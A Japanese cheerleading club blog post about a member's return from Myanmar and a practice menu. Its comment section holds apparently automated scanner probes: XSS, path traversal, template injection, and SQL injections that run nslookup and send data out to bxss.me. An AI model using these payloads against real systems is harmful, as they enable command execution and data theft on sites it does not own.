ただいまです!

遅くなってごめんなさい(>_<)

ミャンマーから帰りのかなこです。


約1か月半ぶりのチア!

長い間チアをやっていなかったせいで、感覚が少し鈍っていて、それが少し悔しいです。

早く体を戻せるように頑張っていきたいと思っています!


本日のメニューです。

ラクロス応援ダンスアップ

柔軟、倒立

キック・ジャンプ

タンブリング

ポン文字

ラクロス応援スタンツ確認

位置取り・シュミ

ラクロス応援通し

パートナー基礎練・シングル

トーピッチ221、トスアップ221・111

トーピッチ111、ステップアップ221

トス


昨日は大宮アルディージャの応援に、本日の練習の後はラクロス部さんの応援に行ってきました。

初めてのことが多くて、とても楽しかったです。

でも、反省点もたくさんありました。

今後もイベントが続くので、今回の反省点をしっかりと活かしていきたいです!


なつきからのふりですが...

滞在中はサバイバル生活でしたね。

毎日水を桶で汲んで浴びて、洗濯物は手洗いして...

特に水回りには驚くことが多くて、また、おなか壊したり高熱出したり、大変でした。

でも、ミャンマー人はみんな優しくていい人で、まだ片言でしかビルマ語を話せない私でも、ミャンマー人といるのはとても楽しかったです。

また行きたい!


次は、みらい先輩に回します。

長かった夏休みもあっという間にあと約10日、何か予定はありますか?


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コメント: 8
  • #1

    e (火曜日, 25 12月 2018 16:17)

    ${9999329+10000382}

  • #2

    e (火曜日, 25 12月 2018 16:17)

    http://testasp.vulnweb.com/t/xss.html?%00.jpg

  • #3

    e (火曜日, 25 12月 2018 16:18)

    1'"

  • #4

    e (火曜日, 25 12月 2018 16:18)

    '>"><script src=http://bxss.me/s?u=024065&r=3549-27&h=3549-6bd4d-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss,024065,3549-27,3549,6bd4d,%22%5D"/>

  • #5

    e (火曜日, 25 12月 2018 16:19)

    ................windowswin.ini

  • #6

    e (火曜日, 25 12月 2018 16:22)

    1

  • #7

    e (火曜日, 25 12月 2018)

    1||UTL_INADDR.get_host_address('dns.'||'sqli.024065.3549-123.3549.6bd4d.1.bxss'||'.me')

  • #8

    e (火曜日, 25 12月 2018 16:23)

    1;copy (select '') to program 'nslookup dns.sqli.\024065.3549-137.3549.6bd4d.\1.bxss.me'